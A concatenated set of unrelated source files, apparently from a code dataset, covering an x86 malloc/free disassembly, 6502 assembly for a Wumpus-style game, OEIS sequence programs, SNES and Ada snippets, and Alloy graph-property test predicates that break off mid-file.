64a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
64d: 8b 50 04 mov 0x4(%eax),%edx
650: 8d 34 d0 lea (%eax,%edx,8),%esi
653: 39 f1 cmp %esi,%ecx
655: 74 23 je 67a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
657: 89 08 mov %ecx,(%eax)
freep = p;
659: a3 60 0a 00 00 mov %eax,0xa60
}
65e: 5b pop %ebx
65f: 5e pop %esi
660: 5f pop %edi
661: 5d pop %ebp
662: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
663: 03 72 04 add 0x4(%edx),%esi
666: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
669: 8b 10 mov (%eax),%edx
66b: 8b 12 mov (%edx),%edx
66d: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
670: 8b 50 04 mov 0x4(%eax),%edx
673: 8d 34 d0 lea (%eax,%edx,8),%esi
676: 39 f1 cmp %esi,%ecx
678: 75 dd jne 657 <free+0x57>
p->s.size += bp->s.size;
67a: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
67d: a3 60 0a 00 00 mov %eax,0xa60
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
682: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
685: 8b 53 f8 mov -0x8(%ebx),%edx
688: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
68a: 5b pop %ebx
68b: 5e pop %esi
68c: 5f pop %edi
68d: 5d pop %ebp
68e: c3 ret
68f: 90 nop
00000690 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 57 push %edi
694: 56 push %esi
695: 53 push %ebx
696: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
699: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
69c: 8b 15 60 0a 00 00 mov 0xa60,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6a2: 8d 78 07 lea 0x7(%eax),%edi
6a5: c1 ef 03 shr $0x3,%edi
6a8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6ab: 85 d2 test %edx,%edx
6ad: 0f 84 93 00 00 00 je 746 <malloc+0xb6>
6b3: 8b 02 mov (%edx),%eax
6b5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6b8: 39 cf cmp %ecx,%edi
6ba: 76 64 jbe 720 <malloc+0x90>
6bc: 81 ff 00 10 00 00 cmp $0x1000,%edi
6c2: bb 00 10 00 00 mov $0x1000,%ebx
6c7: 0f 43 df cmovae %edi,%ebx
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
6ca: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6d1: eb 0e jmp 6e1 <malloc+0x51>
6d3: 90 nop
6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6d8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6da: 8b 48 04 mov 0x4(%eax),%ecx
6dd: 39 cf cmp %ecx,%edi
6df: 76 3f jbe 720 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6e1: 39 05 60 0a 00 00 cmp %eax,0xa60
6e7: 89 c2 mov %eax,%edx
6e9: 75 ed jne 6d8 <malloc+0x48>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
6eb: 83 ec 0c sub $0xc,%esp
6ee: 56 push %esi
6ef: e8 8e fc ff ff call 382 <sbrk>
if(p == (char*)-1)
6f4: 83 c4 10 add $0x10,%esp
6f7: 83 f8 ff cmp $0xffffffff,%eax
6fa: 74 1c je 718 <malloc+0x88>
return 0;
hp = (Header*)p;
hp->s.size = nu;
6fc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6ff: 83 ec 0c sub $0xc,%esp
702: 83 c0 08 add $0x8,%eax
705: 50 push %eax
706: e8 f5 fe ff ff call 600 <free>
return freep;
70b: 8b 15 60 0a 00 00 mov 0xa60,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
711: 83 c4 10 add $0x10,%esp
714: 85 d2 test %edx,%edx
716: 75 c0 jne 6d8 <malloc+0x48>
return 0;
718: 31 c0 xor %eax,%eax
71a: eb 1c jmp 738 <malloc+0xa8>
71c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
720: 39 cf cmp %ecx,%edi
722: 74 1c je 740 <malloc+0xb0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
724: 29 f9 sub %edi,%ecx
726: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
729: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
72c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
72f: 89 15 60 0a 00 00 mov %edx,0xa60
return (void*)(p + 1);
735: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
738: 8d 65 f4 lea -0xc(%ebp),%esp
73b: 5b pop %ebx
73c: 5e pop %esi
73d: 5f pop %edi
73e: 5d pop %ebp
73f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
740: 8b 08 mov (%eax),%ecx
742: 89 0a mov %ecx,(%edx)
744: eb e9 jmp 72f <malloc+0x9f>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
746: c7 05 60 0a 00 00 64 movl $0xa64,0xa60
74d: 0a 00 00
750: c7 05 64 0a 00 00 64 movl $0xa64,0xa64
757: 0a 00 00
base.s.size = 0;
75a: b8 64 0a 00 00 mov $0xa64,%eax
75f: c7 05 68 0a 00 00 00 movl $0x0,0xa68
766: 00 00 00
769: e9 4e ff ff ff jmp 6bc <malloc+0x2c>
|
CODE/ZUMPUS/zumpus_funcs.asm
|
mspeculatrix/Zolatron64
| 0 |
4219
|
; zumpus_funcs.asm
\ ------------------------------------------------------------------------------
\ --- get_decimal_input
\ --- Read a decimal number from STDIN_BUF
\ ------------------------------------------------------------------------------
\ ON EXIT : - 16-bit unsigned integer in MATH_TMP16, MATH_TMP16+1
\ - Error code in FUNC_ERR
\ ------------------------------------------------------------------------------
.get_decimal_input
ldx #0 ; Offset for STDIN_BUF
stz MATH_TMP16 ; To hold our result
stz MATH_TMP16 + 1
stz FUNC_ERR
.get_decimal_char
txa ; Transfer a copy of the X offset to Y
tay ; "
iny ; Make Y an index to the char _after_ this one
lda STDIN_BUF,X
beq get_decimal_done ; If it's a 0 terminator, we're done
cmp #' '
beq get_decimal_char ; Ignore spaces
cmp #'0'
bcc get_decimal_error ; Less than '0'
cmp #$3A ; ASCII for ':', char above '9'
bcs get_decimal_error ; More than '9'
sec
sbc #$30 ; Turn ASCII value into integer digit
clc ; Now got the value of the digit in A
adc MATH_TMP16 ; Add this value to our result
sta MATH_TMP16
bcs get_decimal_carry ; Did we carry?
jmp get_decimal_mult
.get_decimal_carry
inc MATH_TMP16+1
.get_decimal_mult ; Check if we need to multiply value by 10
lda STDIN_BUF,Y ; Look ahead to next char
beq get_decimal_done ; If a zero, the current one is the last digit
jsr uint16_times10 ; Otherwise, multiply the current sum by 10
.get_decimal_next ; Get the next digit
inx
jmp get_decimal_char
.get_decimal_error
lda #NOT_A_NUMBER
sta FUNC_ERR
.get_decimal_done
rts
\ ------------------------------------------------------------------------------
\ --- uint16_times10
\ --- Multiply 16-bit integer by 10.
\ ------------------------------------------------------------------------------
\ ON ENTRY: 16-bit unsigned number in MATH_TMP16, MATH_TMP16+1
\ ON EXIT : - 16-bit unsigned number in MATH_TMP16, MATH_TMP16+1
\ - Carry bit will be set if 16-bit overflow occurred.
\ - Error code in FUNC_ERR
\ ------------------------------------------------------------------------------
.uint16_times10
phx
ldx #1 ; Multiply high byte first
.uint16_times10_outer
ldy #0
lda MATH_TMP16,X
sta $0512,X
sta TMP_VAL
.uint16_times10_loop
clc
adc TMP_VAL
bcs uint16_times10_carry
jmp uint16_times10_next_inc
.uint16_times10_carry
cpx #0
bne uint16_times10_next_inc ; We're in the high byte, so skip...
inc MATH_TMP16+1
.uint16_times10_next_inc
iny
cpy #9
beq uint16_times10_next_byte
jmp uint16_times10_loop
.uint16_times10_next_byte
sta MATH_TMP16,X
cpx #0
beq uint16_times10_done
dex
jmp uint16_times10_outer
.uint16_times10_done
plx
rts
.init_check_unique
phx
stz FUNC_RESULT
cpy #0
beq init_check_random_done
tya ; Location offset is in Y - use a copy in X
tax
.init_check_random_next
dex ; Decrement to compare with previous location
lda RANDOM_LOCS,Y
cmp RANDOM_LOCS,X
bne init_check_random_chk ; Go check if we're at the end of the locations
inc FUNC_RESULT
jmp init_check_random_done
.init_check_random_chk
cpx #0
bne init_check_random_next
.init_check_random_done
plx
rts
.list_locs ; FOR DEBUGGING ONLY
ldx #0
.list_locs_loop
lda RANDOM_LOCS,X
jsr OSB2HEX
jsr OSWRSBUF
lda #' '
jsr OSWRCH
inx
cpx #NUM_LOCS
beq list_locs_done
jmp list_locs_loop
.list_locs_done
lda #CHR_LINEEND
jsr OSWRCH
rts
\ Assumes the current room number is in A.
\ Assumes the three bytes to which you want to store the room numbers start at
\ the address pointed to by TMP_ADDR_A.
.find_adjacent_rooms
clc
asl A ; Need to multiply by 4
asl A
tax ; Offset counter for lookup table
ldy #0 ; Offset counter for storing numbers
.find_adjacent_rooms_next
lda connections,X
sta (TMP_ADDR_A),Y
iny
inx
cpy #3
beq find_adjacent_rooms_done
jmp find_adjacent_rooms_next
.find_adjacent_rooms_done
rts
.set_player_connecting_rooms
lda #<P_CONN_ROOMS
sta TMP_ADDR_A
lda #>P_CONN_ROOMS
sta TMP_ADDR_A+1
lda PLAYER_LOC
jsr find_adjacent_rooms
rts
.show_connecting_rooms
LOAD_MSG connecting_rooms_msg
jsr OSWRMSG
ldx #0
.show_connecting_rooms_next
lda P_CONN_ROOMS,X
phx
jsr print_room_num
plx
lda #' '
jsr OSWRCH
inx
cpx #3
beq show_connecting_rooms_done
jmp show_connecting_rooms_next
.show_connecting_rooms_done
NEWLINE
rts
.current_room
LOAD_MSG current_room_msg
jsr OSWRMSG
lda PLAYER_LOC
jsr print_room_num
NEWLINE
rts
.staple_count
lda STAPLE_COUNT
pha
beq staples_none
LOAD_MSG staple_count_msg
jsr OSWRMSG
pla
clc
adc #$30 ; To get ASCII char
sta BARLED_DAT
jsr OSWRCH
LOAD_MSG staple_count_msg_end
jsr OSWRMSG
jmp staple_count_end
.staples_none
LOAD_MSG staple_count_none_msg
jsr OSWRMSG
.staple_count_end
lda #' '
jsr OSWRCH
ldx STAPLE_COUNT
.staple_loop
lda #91 ; Open square bracket
jsr OSWRCH
dex
bne staple_loop
rts
.print_room_num ; location in A
inc A
jsr uint8_decstr
jsr OSWRSBUF
rts
.status_update
jsr current_room
jsr set_player_connecting_rooms
jsr show_connecting_rooms
jsr staple_count
NEWLINE
jsr warnings
NEWLINE
LOAD_MSG debug_heading ; ---- THIS IS ALL DEBUGGING STUFF
jsr OSWRMSG
lda ZUMPUS_LOC
jsr print_room_num
NEWLINE
LOAD_MSG bat1_msg
jsr OSWRMSG
lda BAT1_LOC
jsr print_room_num
NEWLINE
LOAD_MSG bat2_msg
jsr OSWRMSG
lda BAT2_LOC
jsr print_room_num
NEWLINE
LOAD_MSG pit1_msg
jsr OSWRMSG
lda PIT1_LOC
jsr print_room_num
NEWLINE
LOAD_MSG pit2_msg
jsr OSWRMSG
lda PIT2_LOC
jsr print_room_num
NEWLINE
rts
\ ------------------------------------------------------------------------------
\ --- uint8_mod8
\ --- MOD/DIV an 8-bit number by another 8-bit number
\ ------------------------------------------------------------------------------
\ ON ENTRY: - A must contain the dividend - the number to be modded
\ - X must contain the divisor
\ ON EXIT : - FUNC_RESULT contains remainder
\ - X contains quotient (number of divisions. X=0 if num < divisor)
.uint8_mod8
stx TMP_VAL
ldx #0
.uint8_mod8_loop
sta FUNC_RESULT
sec
sbc TMP_VAL
bcc uint8_mod8_result ; We've gone too far
inx
jmp uint8_mod8_loop
.uint8_mod8_result
rts
\ ------------------------------------------------------------------------------
\ --- uint8_decstr
\ --- Convert an 8-bit unsigned integer to a decimal string
\ ------------------------------------------------------------------------------
\ ON ENTRY: A contains the number to be converted
\ ON EXIT : STR_BUF contains decimal string representation, nul-terminated.
.uint8_decstr
stz TMP_IDX ; Keep track of digits in buffer
stz STR_BUF ; Set nul terminator at start of buffer
.uint8_decstr_next_digit
ldx #10 ; Divisor for MOD function
jsr uint8_mod8 ; FUNC_RESULT contains remainder, X contains quotient
txa ; Transfer quotient to A as dividend for next round
pha ; Protect it for now
ldy TMP_IDX ; Use the index as an offset
.uint8_decstr_add_loop
lda STR_BUF,Y ; Load whatever is currently at the index position
iny
sta STR_BUF,Y ; Move it to the next position
dey
cpy #0 ; If the index is 0, we've finished with moving digits
beq uint8_decstr_add_loop_done
dey ; Otherwise, decrement the offset and go around again
jmp uint8_decstr_add_loop
.uint8_decstr_add_loop_done
inc TMP_IDX ; Increment our digit index
lda FUNC_RESULT ; Get the remainder from the MOD operation
clc
adc #$30 ; Add $30 to get the ASCII code
sta STR_BUF ; And store it in the first byte of the buffer
pla ; Bring back that quotient, as dividend for next loop
cpx #0 ; If it's 0, we're done...
beq uint8_decstr_done
jmp uint8_decstr_next_digit
.uint8_decstr_done
rts
\ ------------------------------------------------------------------------------
\ --- uint16_decstr
\ --- Convert a 16-bit unsigned integer to a decimal string
\ ------------------------------------------------------------------------------
\ ON ENTRY: 16-bit number in MATH_TMP16, MATH_TMP16+1
\ ON EXIT : STR_BUF contains decimal string representation, nul-terminated.
.uint16_decstr
; to come
rts
\ ------------------------------------------------------------------------------
\ --- roll_dice
\ --- Get a random number in range 0..59 or random true/false value
\ ------------------------------------------------------------------------------
\ A 'threshold' value (in Y) will be used to determine a true (1) or false (0)
\ return value. The rule is:
\ Counter < threshold - FALSE
\ Counter >= threshold - TRUE
\ If you don't care about a true/false value, then don't worry about what's
\ in Y.
\ ON ENTRY: - X must contain the divisor for MODding, or 0 if no MOD needed.
\ - Y should contain the threshold value - if a true/false value
\ is required.
\ ON EXIT : - A will contain the actual value of the counter MODded by X.
\ - FUNC_RESULT will contain the true/false value (0 or 1)
\ ------------------------------------------------------------------------------
.roll_dice
stz FUNC_RESULT ; Set to 0 (false) by default
lda VIAC_T1CL ; Put Counter value in X
cmp #$FF ; Sometimes this pops up - don't know why
bne roll_dice_mod
lda #0
.roll_dice_mod
cpx #0 ; Do we want to mod?
beq roll_dice_store ; No, if X=0
jsr uint8_mod8
lda FUNC_RESULT
.roll_dice_store
sty TEST_VAL ; Put threshold value in TEST_VAL
cmp TEST_VAL ; Compare to our random number in A
bcc roll_dice_end ; random num < threshold, so default value is fine
ldy #1 ; Otherwise, return a true value
sty FUNC_RESULT
.roll_dice_end
rts
.warnings
ldy #0
ldx #0
lda FLAGS
and #%11111100 ; Clear the PIT/BAT warning flags
sta FLAGS
.warning_loop
lda P_CONN_ROOMS,X
cmp ZUMPUS_LOC
beq warning_zumpus
cmp BAT1_LOC
beq warning_bat
cmp BAT2_LOC
beq warning_bat
cmp PIT1_LOC
beq warning_pit
cmp PIT2_LOC
beq warning_pit
jmp warning_next
.warning_zumpus
LOAD_MSG warning_zumpus_msg
jsr OSWRMSG
NEWLINE
jmp warning_next
.warning_bat
lda FLAGS
and #BAT_WARNING_ISSUED
bne warning_next ; Means the flag was already set
lda FLAGS
ora #BAT_WARNING_ISSUED
sta FLAGS
LOAD_MSG warning_bat_msg
jsr OSWRMSG
NEWLINE
jmp warning_next
.warning_pit
lda FLAGS
and #PIT_WARNING_ISSUED
bne warning_next ; Means the flag was already set
lda FLAGS
ora #PIT_WARNING_ISSUED
sta FLAGS
LOAD_MSG warning_pit_msg
jsr OSWRMSG
NEWLINE
.warning_next
inx
cpx #3
beq warnings_done
jmp warning_loop
.warnings_done
rts
|
programs/oeis/133/A133016.asm
|
jmorken/loda
| 1 |
380
|
; A133016: Even imperfect numbers, divided by 2.
; 1,2,4,5,6,7,8,9,10,11,12,13,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64
mov $1,3
add $1,$0
mov $2,8
lpb $2
add $1,1
sub $2,$1
sub $1,2
lpe
|
libsrc/target/sms/standard_font.asm
|
dikdom/z88dk
| 1 |
179028
|
<gh_stars>1-10
SECTION rodata_clib
PUBLIC standard_font
PUBLIC _standard_font
standard_font:
_standard_font:
BINARY "target/sms/FONT8.BIN"
|
HDMA4.asm
|
nesdoug/SNES_11
| 3 |
173696
|
;hdma effect 4
;change the mosaic register
;standard single hdma
.segment "CODE"
Set_F4:
A8
XY16
stz $4300 ;1 register, write once
lda #$06 ;mosaic
sta $4301 ;destination
ldx #.loword(H_TABLE6)
stx $4302 ;address
lda #^H_TABLE6
sta $4304 ;address
lda #1 ;channel 1
sta HDMAEN ;$420c
rts
H_TABLE6:
.byte 32, $0f
.byte 32, $1f
.byte 32, $2f
.byte 32, $4f
.byte 32, $6f
.byte 32, $9f
.byte 32, $ff
.byte 0
|
programs/oeis/266/A266769.asm
|
neoneye/loda
| 22 |
27854
|
; A266769: Expansion of 1/((1-x)*(1-x^2)^2*(1-x^3)).
; 1,1,3,4,7,9,14,17,24,29,38,45,57,66,81,93,111,126,148,166,192,214,244,270,305,335,375,410,455,495,546,591,648,699,762,819,889,952,1029,1099,1183,1260,1352,1436,1536,1628,1736,1836,1953,2061,2187,2304,2439,2565,2710,2845,3000,3145,3310,3465,3641,3806,3993,4169,4367,4554,4764,4962,5184,5394,5628,5850,6097,6331,6591,6838,7111,7371,7658,7931,8232,8519,8834,9135,9465,9780,10125,10455,10815,11160,11536,11896,12288,12664,13072,13464,13889,14297,14739,15164
add $0,4
seq $0,8763 ; Expansion of g.f.: x^4/((1-x)*(1-x^2)^2*(1-x^3)).
|
src/main.adb
|
docandrew/YOTROC
| 4 |
5235
|
<reponame>docandrew/YOTROC<filename>src/main.adb
--with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with Ada.Text_IO;
--with Ada.Text_IO.Unbounded_IO; use Ada.Text_IO.Unbounded_IO;
--with Interfaces; use Interfaces;
--with assembler; use assembler;
--with callbacks; use callbacks;
with gui;
--with util; use util;
--with vm; use vm;
procedure Main is
begin
gui.load;
Ada.Text_IO.Put_Line("exited.");
end Main;
|
experiments/tests/ctree.als
|
kaiyuanw/ASketch
| 1 |
4371
|
<filename>experiments/tests/ctree.als
pred test1 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1
color = Node0->Blue0 + Node1->Red0
!undirected[]
}}}}
}
run test1
pred test2 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0
color = Node0->Blue0 + Node1->Red0
!undirected[]
}}}}
}
run test2
pred test3 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1, Node2: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1 + Node2
neighbors = Node0->Node1 + Node1->Node0 + Node1->Node1
color = Node0->Blue0 + Node1->Blue0 + Node2->Red0
!undirected[]
}}}}
}
run test3
pred test4 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
no neighbors
color = Node0->Blue0 + Node1->Red0
undirected[]
}}}}
}
run test4
pred test5 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0
no neighbors
color = Node0->Blue0
undirected[]
}}}}
}
run test5
pred test6 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
undirected[]
}}}}
}
run test6
pred test7 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0
no neighbors
color = Node0->Red0
undirected[]
}}}}
}
run test7
pred test8 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test8
pred test9 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
graphIsConnected[]
}}}}
}
run test9
pred test10 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test10
pred test11 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
no neighbors
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test11
pred test12 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0
no neighbors
color = Node0->Red0
graphIsConnected[]
}}}}
}
run test12
pred test13 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node1->Node0 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test13
pred test14 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0
no neighbors
color = Node0->Blue0
graphIsConnected[]
}}}}
}
run test14
pred test15 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
graphIsConnected[]
}}}}
}
run test15
pred test16 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test16
pred test17 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node1->Node0
color = Node0->Blue0 + Node1->Red0
!graphIsConnected[]
}}}}
}
run test17
pred test18 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1, Node2: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1 + Node2
neighbors = Node0->Node1 + Node1->Node0 + Node1->Node2 + Node2->Node1
color = Node0->Blue0 + Node1->Blue0 + Node2->Red0
graphIsConnected[]
}}}}
}
run test18
pred test19 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1 + Node1->Node0 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
!treeAcyclic[]
}}}}
}
run test19
pred test20 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test20
pred test21 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test21
pred test22 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test22
pred test23 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
!treeAcyclic[]
}}}}
}
run test23
pred test24 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1 + Node1->Node0
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test24
pred test25 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1, Node2: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1 + Node2
neighbors = Node0->Node1 + Node0->Node2 + Node2->Node1 + Node2->Node2
color = Node0->Blue0 + Node1->Red0 + Node2->Red0
!treeAcyclic[]
}}}}
}
run test25
pred test26 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node1->Node0 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test26
pred test27 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node1->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test27
pred test28 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node0 + Node0->Node1 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test28
pred test29 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1
neighbors = Node0->Node1 + Node1->Node1
color = Node0->Blue0 + Node1->Red0
treeAcyclic[]
}}}}
}
run test29
pred test30 {
some disj Red0: Red {some disj Blue0: Blue {some disj Red0, Blue0: Color {some disj Node0, Node1, Node2: Node {
Red = Red0
Blue = Blue0
Color = Red0 + Blue0
Node = Node0 + Node1 + Node2
neighbors = Node0->Node1 + Node1->Node0 + Node2->Node1
